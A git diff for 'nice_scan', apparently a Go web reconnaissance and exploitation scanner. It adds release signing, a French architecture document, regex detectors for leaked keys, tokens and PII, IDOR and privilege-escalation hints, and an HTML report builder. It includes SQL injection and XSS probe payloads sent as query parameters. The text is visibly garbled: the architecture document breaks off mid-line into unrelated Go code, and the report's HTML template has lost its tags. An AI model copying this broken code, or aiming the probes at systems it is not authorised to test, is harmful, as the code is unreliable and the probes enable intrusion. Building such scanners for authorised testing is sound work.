diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 18a607c..a0d0522 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -7,6 +7,7 @@ on: permissions: contents: write + id-token: write jobs: goreleaser: @@ -23,6 +24,22 @@ jobs: go-version: "1.25" cache: true + - name: Import GPG key + id: gpg_import + uses: crazy-max/ghaction-import-gpg@v6 + with: + gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} + passphrase: ${{ secrets.GPG_PASSPHRASE }} + fingerprint: ${{ secrets.GPG_FINGERPRINT }} + + - name: Setup syft + uses: anchore/sbom-action@v0 + with: + syft-version: latest + + - name: Setup cosign + uses: sigstore/cosign-installer@v3 + - uses: goreleaser/goreleaser-action@v6 with: distribution: goreleaser @@ -30,3 +47,8 @@ jobs: args: release --clean env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GPG_FINGERPRINT: ${{ secrets.GPG_FINGERPRINT }} + COSIGN_KEY: ${{ secrets.COSIGN_KEY }} + COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }} + COSIGN_CERT_PATH: "." + COSIGN_SIG_PATH: "." diff --git a/.gitignore b/.gitignore index 9504aaf..8197f6b 100644 --- a/.gitignore +++ b/.gitignore @@ -41,9 +41,14 @@ profile.out /output/ /reports/ *.html +*.html *.sarif # Env .env .env.local .env.production + +# Secrets (signing keys) +gpg-private.key +cosign.key diff --git a/.goreleaser.yaml b/.goreleaser.yaml index 0c7b771..f2f5761 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -1,8 +1,11 @@ version: 2 +project_name: nice_scan + before: hooks: - go mod tidy + - go generate ./... builds: - id: nice_scan @@ -18,20 +21,108 @@ builds: - amd64 - arm64 ldflags: - - -s -w -X main.version={{.Version}} + - -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}} archives: - - format: tar.gz + - id: nice_scan + format: tar.gz format_overrides: - goos: windows format: zip name_template: "{{.ProjectName}}_{{.Version}}_{{.Os}}_{{.Arch}}" + files: + - README.md + - LICENSE checksum: name_template: "{{.ProjectName}}_{{.Version}}_checksums.txt" + algorithm: sha256 + +# ── GPG sign the checksums file ── +signs: + - id: checksum_sign + cmd: gpg + args: + - --batch + - --local-user + - "{{ .Env.GPG_FINGERPRINT }}" + - --output + - "${signature}" + - --detach-sign + - "${artifact}" + artifacts: checksum + signature: "${artifact}.sig" + +# ── cosign — Sigstore signing for SLSA provenance ── +# Requires: COSIGN_KEY and COSIGN_PASSWORD env vars +# https://docs.sigstore.dev/cosign/overview/ +cosigns: + - id: cosign_blob + artifacts: checksum + args: + - sign-blob + - "--output-certificate={{.Env.COSIGN_CERT_PATH}}/{{.ProjectName}}_{{.Version}}_checksums.pem" + - "--output-signature={{.Env.COSIGN_SIG_PATH}}/{{.ProjectName}}_{{.Version}}_checksums.sig" + - "${artifact}" + certificate: "${artifact}.pem" + output: true + +# ── SBOM with syft (software bill of materials) ── +sboms: + - id: source_sbom + artifacts: source + documents: + - "{{.ProjectName}}_{{.Version}}_sbom.spdx.json" + cmd: syft + args: + - "$(pwd)" + - --output + - spdx-json + - --file + - "${document}" + +# ── GitHub release ── +release: + prerelease: auto + header: | + # NICE_SCAN {{.Version}} + + **Fast. Precise. Intelligent.** — Modern Security Reconnaissance Engine -snapshot: - version_template: "{{.Version}}-next" + ## ✅ Verification + ```bash + # 1. Download checksums + gh release download {{.Tag}} --pattern "checksums*" -R NICE-DEV226/nice-Scan + + # 2. Verify SHA256 + sha256sum --check nice_scan_{{.Version}}_checksums.txt + + # 3. Verify GPG signature + gpg --verify nice_scan_{{.Version}}_checksums.txt.sig + + # 4. Verify Sigstore (cosign) + cosign verify-blob \ + --certificate nice_scan_{{.Version}}_checksums.pem \ + --signature nice_scan_{{.Version}}_checksums.sig \ + nice_scan_{{.Version}}_checksums.txt + ``` + + ## 📦 Assets + | File | Description | + |------|-------------| + | `nice_scan_{{.Version}}_checksums.txt` | SHA256 checksums for all binaries | + | `nice_scan_{{.Version}}_checksums.txt.sig` | GPG signature of checksums | + | `nice_scan_{{.Version}}_checksums.pem` | Sigstore certificate | + | `nice_scan_{{.Version}}_checksums.sig` | Sigstore signature | + | `nice_scan_{{.Version}}_sbom.spdx.json` | SPDX SBOM (dependencies) | + + ## 🚀 Quick Start + ```bash + nice_scan hack example.com -R report.html + ``` + +milestones: + - close: true changelog: sort: asc @@ -40,6 +131,4 @@ changelog: - "^docs:" - "^ci:" - "^test:" - -release: - prerelease: auto + - "^chore" diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md new file mode 100644 index 0000000..2d785f9 --- /dev/null +++ b/ARCHITECTURE.md @@ -0,0 +1,340 @@ +# NICE_SCAN — Architecture & Techniques + +## Vue d'ensemble + +**NICE_SCAN** est un moteur de reconnaissance et d'audit de sécurité moderne écrit en Go 1.24. Il combine analyse passive (détection de technologies, en-têtes, TLS, vulnérabilités) et active (exploitation de formulaires, IDOR, escalade de privilèges). + +``` +┌─────────────────────────────────────────────────────────────┐ +│ CLI (Cobra) │ +│ scan │ audit │ tech │ tls │ exploit │ shell │ +└──────────────────────────┬──────────────────────────────────┘ + │ + ┌──────┴──────┐ + │ Transport │ ← connexions pool, retry, rate-limit + └──────┬──────┘ + │ + ┌──────────────────┼──────────────────┐ + │ │ │ + ┌────┴────┐ ┌────┴────┐ ┌─────┴─────┐ + │ Scan │ │ Exploit │ │ Shell │ + │ Engine │ │ Engine │ │ BubbleTea │ + └────┬────┘ └────┬────┘ └───────────┘ + │ │ + ┌────┴────┐ ┌─────┴──────┐ + │ 12+ │ │ Login │ + │Analyseurs│ │ IDOR │ + │ │ │ Privesc │ + │ │ │ Token │ + │ │ │ Register │ + │ │ │ Reset │ + │ │ │ Session │ + └─────────┘ └────────────┘ +``` + +--- + +## Structure du projet + +``` +security_tool/ +├── cmd/nice_scan/main.go ← Point d'entrée CLI (cobra) +├── internal/ +│ ├── types/ ← Types fondamentaux +│ ├── transport/ ← Client HTTP (pool, retry, rate-limit) +│ ├── engine/ ← Moteur de scan passif (12 analyseurs) +│ ├── exploit/ ← Moteur d'exploitation active (7 modules) +│ ├── fingerprint/ ← Détection de technologies (165 signatures) +│ ├── output/ ← Affichage terminal / JSON / HTML +│ ├── tui/ ← Dashboard interactif temps réel +│ └── shell/ ← Shell interactif persistent +├── docs/architecture/ ← Documentation technique +└── go.mod ← Dépendances (bubbletea, lipgloss, cobra) +``` + +--- + +## 1. Couche Transport (`internal/transport/`) + +### Technique : Client HTTP avec pool de connexions, retry et rate-limiting + +``` +Client HTTP +├── http.Client avec transport personnalisé +│ ├── Keep-Alive (30s) +│ ├── HTTP/2 forcé (ForceAttemptHTTP2) +│ ├── Connexions max : 200 idle, 20 par hôte +│ └── Proxy configurable +├── Do() → 1 requête avec retry + rate-limit +├── Get() → GET simplifié +├── DoBatch() → Pool de workers concurrents (64 par défaut) +├── RateLimiter → Token bucket (rafraîchissement par goroutine) +└── RequestStats → Compteurs (total, success, failed, retried, rate-limited) +``` + +### Stratégie de retry +- Retry sur : timeout, rate-limit (429), erreurs serveur (5xx) +- Backoff exponentiel avec jitter aléatoire +- Maximum : 2 retries par défaut + +### Rate-limiting +- Algorithme : Token bucket +- Rate configurable (0 = illimité) +- Bloque la goroutine jusqu'à disponibilité d'un token + +--- + +## 2. Moteur de Scan (`internal/engine/`) + +### Architecture : Pipeline d'analyseurs + +``` +Scanner +├── RegisterAnalyzers() ← Enregistre les analyseurs +├── buildProbes() ← Construit les requêtes de sonde +│ ├── 28 chemins sensibles (/admin, /wp-admin, /.env, /graphql...) +│ ├── 10 paramètres SQLi (?id=1', ?q=1'...) +│ ├── 10 paramètres XSS (?q=" + sqliPayload := "1'" + + for _, p := range sqliParams { + reqs = append(reqs, &types.Request{ + Method: "GET", + URL: baseURL + "/?" + p + "=" + sqliPayload, + Timeout: s.opts.Timeout, + }) + reqs = append(reqs, &types.Request{ + Method: "GET", + URL: baseURL + "/?" + p + "=" + xssPayload, + Timeout: s.opts.Timeout, + }) + } + return reqs } diff --git a/internal/engine/exposures.go b/internal/engine/exposures.go index cfe4adb..176ffde 100644 --- a/internal/engine/exposures.go +++ b/internal/engine/exposures.go @@ -6,7 +6,7 @@ import ( "regexp" "strings" - "github.com/nice-scan/nice_scan/internal/types" + "github.com/NICE-DEV226/nice-Scan/internal/types" ) type ExposureAnalyzer struct { diff --git a/internal/engine/extract.go b/internal/engine/extract.go new file mode 100644 index 0000000..18d04c3 --- /dev/null +++ b/internal/engine/extract.go @@ -0,0 +1,252 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +var ( + rxEmail = regexp.MustCompile(`[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}`) + + rxPhone = regexp.MustCompile(`(?:\+\d{1,3}[-.\s])?\(?\d{3}\)?[-.\s]\d{3}[-.\s]?\d{4}`) + + rxIP = regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`) + + rxSSN = regexp.MustCompile(`\b\d{3}-\d{2}-\d{4}\b`) + + rxCreditCard = regexp.MustCompile(`\b(?:\d{4}[-\s]?){3}\d{4}\b`) + + rxAPIKeyGeneric = regexp.MustCompile(`(?i)(?:api[_-]?key|api[_-]?secret|app[_-]?secret|client[_-]?secret|consumer[_-]?key|consumer[_-]?secret)\s*[=:]\s*['"]?([A-Za-z0-9_\-]{16,64})['"]?`) + + rxAWSKey = regexp.MustCompile(`(?:AKIA|ASIA)[A-Z0-9]{16}`) + + rxPrivateKey = regexp.MustCompile(`-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`) + + rxGitHubToken = regexp.MustCompile(`(?i)github[_-]?token['"]?\s*[:=]\s*["']?([A-Za-z0-9_\-]{35,40})["']?`) + + rxSlackToken = regexp.MustCompile(`(?i)(xox[baprs]-[A-Za-z0-9\-]{10,})`) + + rxGoogleAPI = regexp.MustCompile(`(?i)AIza[0-9A-Za-z\-_]{35}`) + + rxJWTClaim = regexp.MustCompile(`(?i)(sub|name|email|preferred_username|given_name|family_name)["']?\s*:\s*"([^"]+)"`) + + rxDBConnection = regexp.MustCompile(`(?i)(mysql|postgres|mongodb|redis|sqlite|oracle)://[^\s"']+`) + + rxUserDump = regexp.MustCompile(`(?i)(users|accounts|customers|members|employees)\s*(?:table|list|collection|database)?\s*:?`) + + rxInternalIP = regexp.MustCompile(`\b(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})\b`) +) + +type DataExtractionAnalyzer struct{} + +func NewDataExtractionAnalyzer() *DataExtractionAnalyzer { + return &DataExtractionAnalyzer{} +} + +func (a *DataExtractionAnalyzer) Name() string { + return "extract" +} + +func (a *DataExtractionAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil || len(resp.Body) == 0 { + return nil + } + + var findings []types.Finding + body := string(resp.Body) + + emails := uniqueStrings(rxEmail.FindAllString(body, -1)) + if len(emails) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("Email Addresses Found (%d)", len(emails)), + Severity: types.SeverityLow, + Description: "Email addresses discovered in response body — may expose users, staff, or contacts", + Evidence: fmt.Sprintf("Emails: %s", truncate(strings.Join(emails, ", "), 120)), + Confidence: 0.9, + Metadata: map[string]string{ + "count": fmt.Sprintf("%d", len(emails)), + "emails": strings.Join(emails, ","), + }, + }) + } + + phones := uniqueStrings(rxPhone.FindAllString(body, -1)) + if len(phones) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("Phone Numbers Found (%d)", len(phones)), + Severity: types.SeverityMedium, + Description: "Phone numbers discovered in response body — PII leak", + Evidence: fmt.Sprintf("Phones: %s", truncate(strings.Join(phones, ", "), 120)), + Confidence: 0.8, + }) + } + + ips := uniqueStrings(rxInternalIP.FindAllString(body, -1)) + if len(ips) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingExposure, + Name: fmt.Sprintf("Internal IP Addresses Leaked (%d)", len(ips)), + Severity: types.SeverityHigh, + Description: "Internal/private IP addresses exposed in response — network reconnaissance vector", + Evidence: fmt.Sprintf("IPs: %s", strings.Join(ips, ", ")), + Confidence: 0.85, + }) + } + + if rxPrivateKey.MatchString(body) { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "Private Key Leaked", + Severity: types.SeverityCritical, + Description: "Private cryptographic key found in response body — complete compromise of TLS/SSH/authentication", + Evidence: extractSnippet(body, rxPrivateKey.String(), 80), + Confidence: 0.95, + }) + } + + apiKeys := uniqueStrings(rxAPIKeyGeneric.FindAllString(body, -1)) + for _, k := range apiKeys { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "API Key/Secret Found", + Severity: types.SeverityCritical, + Description: "API key or client secret exposed in response body — third-party service compromise possible", + Evidence: truncate(k, 60), + Confidence: 0.85, + }) + } + + if m := rxAWSKey.FindString(body); m != "" { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "AWS Access Key ID Leaked", + Severity: types.SeverityCritical, + Description: "Amazon Web Services Access Key ID exposed — potential cloud account compromise", + Evidence: fmt.Sprintf("AWS Key: %s", m), + Confidence: 0.9, + }) + } + + if m := rxGitHubToken.FindString(body); m != "" { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "GitHub Token Leaked", + Severity: types.SeverityCritical, + Description: "GitHub authentication token exposed — repository and code access", + Evidence: truncate(m, 40), + Confidence: 0.9, + }) + } + + if m := rxSlackToken.FindString(body); m != "" { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "Slack Token Leaked", + Severity: types.SeverityCritical, + Description: "Slack API token exposed — team communication compromise", + Evidence: truncate(m, 30), + Confidence: 0.9, + }) + } + + if m := rxGoogleAPI.FindString(body); m != "" { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "Google API Key Leaked", + Severity: types.SeverityCritical, + Description: "Google API key exposed — may allow unauthorized Google Cloud/API usage", + Evidence: fmt.Sprintf("Key: %s...", truncate(m, 10)), + Confidence: 0.85, + }) + } + + ssns := uniqueStrings(rxSSN.FindAllString(body, -1)) + if len(ssns) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("SSN/PII Found (%d)", len(ssns)), + Severity: types.SeverityCritical, + Description: "Social Security Numbers or national ID numbers exposed — severe PII breach", + Evidence: truncate(strings.Join(ssns, ", "), 60), + Confidence: 0.9, + }) + } + + ccs := uniqueStrings(rxCreditCard.FindAllString(body, -1)) + if len(ccs) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("Credit Card Numbers Found (%d)", len(ccs)), + Severity: types.SeverityCritical, + Description: "Credit card numbers exposed in response body — PCI DSS compliance violation, financial fraud risk", + Evidence: truncate(strings.Join(ccs, ", "), 60), + Confidence: 0.85, + }) + } + + jwtClaims := uniqueStrings(rxJWTClaim.FindAllString(body, -1)) + if len(jwtClaims) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "JWT Claim Data Found", + Severity: types.SeverityMedium, + Description: "User identity claims (sub, name, email) found in response — potential user data exposure", + Evidence: truncate(strings.Join(jwtClaims, " | "), 100), + Confidence: 0.7, + }) + } + + dbConns := uniqueStrings(rxDBConnection.FindAllString(body, -1)) + if len(dbConns) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: "Database Connection String Leaked", + Severity: types.SeverityCritical, + Description: "Database connection string exposed — direct database access possible", + Evidence: truncate(strings.Join(dbConns, ", "), 80), + Confidence: 0.9, + }) + } + + if rxUserDump.MatchString(body) { + findings = append(findings, types.Finding{ + Type: types.FindingExposure, + Name: "User Data Reference Found", + Severity: types.SeverityHigh, + Description: "Response references user data table/collection — potential mass data extraction endpoint", + Evidence: extractSnippet(body, rxUserDump.String(), 80), + Confidence: 0.6, + }) + } + + return findings +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n-1] + "…" +} + +func uniqueStrings(s []string) []string { + seen := make(map[string]struct{}, len(s)) + r := make([]string, 0, len(s)) + for _, v := range s { + v = strings.TrimSpace(v) + if v == "" { + continue + } + if _, ok := seen[v]; !ok { + seen[v] = struct{}{} + r = append(r, v) + } + } + return r +} diff --git a/internal/engine/headers.go b/internal/engine/headers.go index bc9c3e2..a2059db 100644 --- a/internal/engine/headers.go +++ b/internal/engine/headers.go @@ -5,7 +5,7 @@ import ( "fmt" "strings" - "github.com/nice-scan/nice_scan/internal/types" + "github.com/NICE-DEV226/nice-Scan/internal/types" ) type HeaderAnalyzer struct{} diff --git a/internal/engine/methods.go b/internal/engine/methods.go new file mode 100644 index 0000000..d984cd8 --- /dev/null +++ b/internal/engine/methods.go @@ -0,0 +1,87 @@ +package engine + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type HTTPMethodsAnalyzer struct{} + +func NewHTTPMethodsAnalyzer() *HTTPMethodsAnalyzer { + return &HTTPMethodsAnalyzer{} +} + +func (a *HTTPMethodsAnalyzer) Name() string { + return "http_methods" +} + +func (a *HTTPMethodsAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil { + return nil + } + + var findings []types.Finding + + allow := resp.Headers.Get("Allow") + if allow == "" { + allow = resp.Headers.Get("Public") + } + if allow == "" { + return nil + } + + allowed := strings.ToUpper(allow) + methods := strings.FieldsFunc(allowed, func(r rune) bool { + return r == ',' || r == ' ' + }) + + var risky []string + for _, m := range methods { + m = strings.TrimSpace(m) + switch m { + case "TRACE", "TRACK": + risky = append(risky, m+" (XST attack)") + case "PUT": + risky = append(risky, m+" (file upload)") + case "DELETE": + risky = append(risky, m+" (resource deletion)") + case "CONNECT": + risky = append(risky, m+" (tunneling)") + case "PATCH": + risky = append(risky, m+" (partial modify)") + } + } + + if len(risky) > 0 { + sev := types.SeverityMedium + if containsAny(allowed, "TRACE", "TRACK") { + sev = types.SeverityHigh + } + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Risky HTTP Methods Enabled", + Severity: sev, + Description: "Server allows potentially dangerous HTTP methods", + Evidence: fmt.Sprintf("Allow: %s", allow), + Confidence: 0.9, + Metadata: map[string]string{ + "allowed": allow, + "risky": strings.Join(risky, ", "), + }, + }) + } + + return findings +} + +func containsAny(s string, subs ...string) bool { + for _, sub := range subs { + if strings.Contains(s, sub) { + return true + } + } + return false +} diff --git a/internal/engine/privesc.go b/internal/engine/privesc.go new file mode 100644 index 0000000..1dd16a9 --- /dev/null +++ b/internal/engine/privesc.go @@ -0,0 +1,145 @@ +package engine + +import ( + "context" + "fmt" + "regexp" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +var ( + rxIDOR = regexp.MustCompile(`(?i)(id|user_id|account_id|uid|pid|order_id|profile_id|item_id)=(\d+)`) + rxIDORUUID = regexp.MustCompile(`(?i)(id|user_id|uid|token)=([a-f0-9\-]{32,})`) + rxRoleMod = regexp.MustCompile(`(?i)(role|user_type|account_type|access|level|priv|permission)=(\w+)`) + rxStatusMod = regexp.MustCompile(`(?i)(status|state|active|enabled|verified)=(0|1|true|false|yes|no)`) + + rxUserProfile = regexp.MustCompile(`(?i)(/profile/|/user/|/account/|/users/|/members/)(\d+)`) + + rxAPITokenInURL = regexp.MustCompile(`(?i)(token|api_key|apikey|secret|jwt)=([A-Za-z0-9\-_.]+)`) + + commonRoles = []string{"admin", "root", "superuser", "administrator", "moderator", "editor", "manager", "owner", "super_admin", "pro", "premium", "vip"} +) + +type PrivilegeEscalationAnalyzer struct{} + +func NewPrivilegeEscalationAnalyzer() *PrivilegeEscalationAnalyzer { + return &PrivilegeEscalationAnalyzer{} +} + +func (a *PrivilegeEscalationAnalyzer) Name() string { + return "privesc" +} + +func (a *PrivilegeEscalationAnalyzer) Analyze(ctx context.Context, resp *types.Response) []types.Finding { + if resp == nil { + return nil + } + + var findings []types.Finding + url := resp.FinalURL + body := string(resp.Body) + + if m := rxIDOR.FindStringSubmatch(url); len(m) > 2 { + param := m[1] + val := m[2] + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Potential IDOR — Numeric %s", param), + Severity: types.SeverityMedium, + Description: fmt.Sprintf("Numeric identifier found in URL parameter '%s' — increment/decrement to test for Insecure Direct Object Reference", param), + Evidence: fmt.Sprintf("URL: %s", url), + Confidence: 0.6, + Metadata: map[string]string{ + "parameter": param, + "value": val, + "type": "numeric_idor", + }, + }) + } + + if m := rxUserProfile.FindStringSubmatch(url); len(m) > 2 { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "User Profile with Numeric ID", + Severity: types.SeverityHigh, + Description: fmt.Sprintf("User profile endpoint uses sequential numeric ID: %s — test by modifying ID to access other users' profiles", m[2]), + Evidence: fmt.Sprintf("URL: %s", url), + Confidence: 0.75, + Metadata: map[string]string{ + "endpoint": m[1], + "id": m[2], + }, + }) + } + + if m := rxRoleMod.FindStringSubmatch(url); len(m) > 2 { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Role/Privilege Parameter in URL", + Severity: types.SeverityCritical, + Description: fmt.Sprintf("Role or privilege parameter '%s' found in URL with value '%s' — try modifying to escalate privileges", m[1], m[2]), + Evidence: fmt.Sprintf("URL: %s", url), + Confidence: 0.8, + Metadata: map[string]string{ + "parameter": m[1], + "value": m[2], + }, + }) + } + + if m := rxStatusMod.FindStringSubmatch(url); len(m) > 2 { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Status/State Parameter in URL — %s", m[1]), + Severity: types.SeverityHigh, + Description: fmt.Sprintf("Status parameter '%s' in URL (value: %s) — may allow bypassing email verification, account suspension, etc.", m[1], m[2]), + Evidence: fmt.Sprintf("URL: %s", url), + Confidence: 0.7, + }) + } + + if m := rxAPITokenInURL.FindStringSubmatch(url); len(m) > 2 { + findings = append(findings, types.Finding{ + Type: types.FindingSecret, + Name: fmt.Sprintf("Token in URL Query String — %s", m[1]), + Severity: types.SeverityCritical, + Description: "Authentication token transmitted in URL query string — leaked via Referer header, browser history, server logs", + Evidence: fmt.Sprintf("Parameter: %s | Value: %s", m[1], truncate(m[2], 20)), + Confidence: 0.9, + }) + } + + for _, role := range commonRoles { + pattern := fmt.Sprintf(`(?i)(role["']?\s*[:=]\s*["'])%s(["'])`, regexp.QuoteMeta(role)) + re := regexp.MustCompile(pattern) + if m := re.FindStringSubmatch(body); len(m) > 0 { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: fmt.Sprintf("Privileged Role Found in Response: %s", role), + Severity: types.SeverityHigh, + Description: fmt.Sprintf("Response contains '%s' role assignment — check if privilege escalation is possible via role modification", role), + Evidence: extractSnippet(body, pattern, 60), + Confidence: 0.7, + Metadata: map[string]string{ + "role": role, + "pattern": pattern, + }, + }) + } + } + + if strings.Contains(body, "admin") || strings.Contains(body, "administrator") { + findings = append(findings, types.Finding{ + Type: types.FindingMisconfig, + Name: "Admin Reference in Response", + Severity: types.SeverityInfo, + Description: "Response body references 'admin' — may indicate admin functionality is accessible or referenced client-side", + Evidence: extractSnippet(body, `(?i)(admin|administrator)`, 60), + Confidence: 0.5, + }) + } + + return findings +} diff --git a/internal/engine/report.go b/internal/engine/report.go new file mode 100644 index 0000000..be9c70b --- /dev/null +++ b/internal/engine/report.go @@ -0,0 +1,351 @@ +package engine + +import ( + "fmt" + "strings" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type Report struct { + Target string + ScanTime time.Time + Duration time.Duration + TotalReqs int + FailedReqs int + Findings []types.Finding + SeverityMap map[types.Severity]int + TechFound []types.Finding + Secrets []types.Finding + Risks []types.Finding + Exposures []types.Finding + Summary ReportSummary +} + +type ReportSummary struct { + Critical int + High int + Medium int + Low int + Info int + Total int + Score string + Risk string +} + +func GenerateReport(result *ScanResult) *Report { + r := &Report{ + Target: result.Target, + ScanTime: time.Now(), + Duration: result.Stats.Duration, + TotalReqs: result.Stats.Total, + FailedReqs: result.Stats.Failed, + Findings: result.Findings, + SeverityMap: make(map[types.Severity]int), + } + + for _, f := range result.Findings { + r.SeverityMap[f.Severity]++ + switch f.Type { + case types.FindingTech: + r.TechFound = append(r.TechFound, f) + case types.FindingSecret: + r.Secrets = append(r.Secrets, f) + case types.FindingExposure, types.FindingMisconfig: + r.Exposures = append(r.Exposures, f) + default: + r.Risks = append(r.Risks, f) + } + } + + r.Summary = r.buildSummary() + return r +} + +func (r *Report) buildSummary() ReportSummary { + s := ReportSummary{ + Critical: r.SeverityMap[types.SeverityCritical], + High: r.SeverityMap[types.SeverityHigh], + Medium: r.SeverityMap[types.SeverityMedium], + Low: r.SeverityMap[types.SeverityLow], + Info: r.SeverityMap[types.SeverityInfo], + Total: len(r.Findings), + } + + score := s.Critical*10 + s.High*5 + s.Medium*2 + s.Low*1 + switch { + case score >= 20: + s.Score = fmt.Sprintf("%d/100 — CRITICAL", score*5) + s.Risk = "Critical — Immediate action required" + case score >= 10: + s.Score = fmt.Sprintf("%d/100 — HIGH", score*5) + s.Risk = "High — Requires prompt remediation" + case score >= 5: + s.Score = fmt.Sprintf("%d/100 — MEDIUM", score*5) + s.Risk = "Medium — Should be addressed" + case score > 0: + s.Score = fmt.Sprintf("%d/100 — LOW", score*5) + s.Risk = "Low — Informational only" + default: + s.Score = "0/100 — CLEAN" + s.Risk = "No issues detected" + } + + return s +} + +func (r *Report) RenderHTML() string { + var b strings.Builder + + b.WriteString(` + + + + +NICE_SCAN Security Report — `) + b.WriteString(r.Target) + b.WriteString(` + + + +
+
+

🔍 NICE_SCAN — Security Report

+
+ Target: `) + b.WriteString(r.Target) + b.WriteString(`
+ Scan Time: `) + b.WriteString(r.ScanTime.Format("2006-01-02 15:04:05")) + b.WriteString(`
+ Duration: `) + b.WriteString(r.Duration.Round(time.Millisecond).String()) + b.WriteString(` | Requests: `) + b.WriteString(fmt.Sprintf("%d/%d", r.TotalReqs-r.FailedReqs, r.TotalReqs)) + b.WriteString(` +
+
+ +
+
`) + b.WriteString(fmt.Sprintf("%d", r.Summary.Critical)) + b.WriteString(`
Critical
+
`) + b.WriteString(fmt.Sprintf("%d", r.Summary.High)) + b.WriteString(`
High
+
`) + b.WriteString(fmt.Sprintf("%d", r.Summary.Medium)) + b.WriteString(`
Medium
+
`) + b.WriteString(fmt.Sprintf("%d", r.Summary.Low)) + b.WriteString(`
Low
+
`) + b.WriteString(fmt.Sprintf("%d", r.Summary.Info)) + b.WriteString(`
Info
+
0 { + b.WriteString("medium") + } else { + b.WriteString("info") + } + b.WriteString(`">`) + b.WriteString(r.Summary.Score) + b.WriteString(`
Risk Score
+
+ +
+

📋 Assessment Summary

+
Risk Level`) + b.WriteString(r.Summary.Risk) + b.WriteString(`
+
Total Findings`) + b.WriteString(fmt.Sprintf("%d", r.Summary.Total)) + b.WriteString(`
+
Technologies Detected`) + b.WriteString(fmt.Sprintf("%d", len(r.TechFound))) + b.WriteString(`
+
Secrets / Credentials`) + b.WriteString(fmt.Sprintf("%d", len(r.Secrets))) + b.WriteString(`
+
Active Requests`) + b.WriteString(fmt.Sprintf("%d", r.TotalReqs)) + b.WriteString(`
+
`) + + r.renderSection(&b, "🔴 Critical & High", r.filterBySeverity(types.SeverityCritical, types.SeverityHigh)) + r.renderSection(&b, "🟡 Medium", r.filterBySeverity(types.SeverityMedium)) + r.renderSection(&b, "🔵 Low & Info", r.filterBySeverity(types.SeverityLow, types.SeverityInfo)) + r.renderSection(&b, "🖥️ Technologies Detected", r.TechFound, "tech") + r.renderSection(&b, "🔑 Secrets & Credentials", r.Secrets, "secret") + + b.WriteString(` +
+ +`) + + return b.String() +} + +func (r *Report) filterBySeverity(sevs ...types.Severity) []types.Finding { + var out []types.Finding + for _, f := range r.Findings { + for _, s := range sevs { + if f.Severity == s && f.Type != types.FindingTech && f.Type != types.FindingSecret { + out = append(out, f) + } + } + } + return out +} + +func (r *Report) renderSection(b *strings.Builder, title string, findings []types.Finding, typeTags ...string) { + if len(findings) == 0 { + return + } + + tagClass := "tag-misconfig" + if len(typeTags) > 0 { + switch typeTags[0] { + case "tech": + tagClass = "tag-tech" + case "secret": + tagClass = "tag-secret" + case "exposure": + tagClass = "tag-exposure" + } + } + + b.WriteString(`

`) + b.WriteString(title) + b.WriteString(fmt.Sprintf(` (%d)

`, len(findings))) + + for _, f := range findings { + sevClass := "severity-" + string(f.Severity) + b.WriteString(`
`) + b.WriteString(``) + b.WriteString(string(f.Type)) + b.WriteString(` `) + b.WriteString(escapeHTML(f.Name)) + b.WriteString(` `) + b.WriteString(string(f.Severity)) + b.WriteString(``) + if f.Confidence > 0 { + b.WriteString(fmt.Sprintf(` %.0f%% confidence`, f.Confidence*100)) + } + b.WriteString(`
`) + + if f.Description != "" { + b.WriteString(`
`) + b.WriteString(escapeHTML(f.Description)) + b.WriteString(`
`) + } + + if f.Evidence != "" { + b.WriteString(`
`) + b.WriteString(escapeHTML(f.Evidence)) + b.WriteString(`
`) + } + + if f.Metadata != nil { + var metaParts []string + for k, v := range f.Metadata { + metaParts = append(metaParts, k+": "+v) + } + if len(metaParts) > 0 { + b.WriteString(`
`) + b.WriteString(escapeHTML(strings.Join(metaParts, " | "))) + b.WriteString(`
`) + } + } + + b.WriteString(`
`) + } + + b.WriteString(`
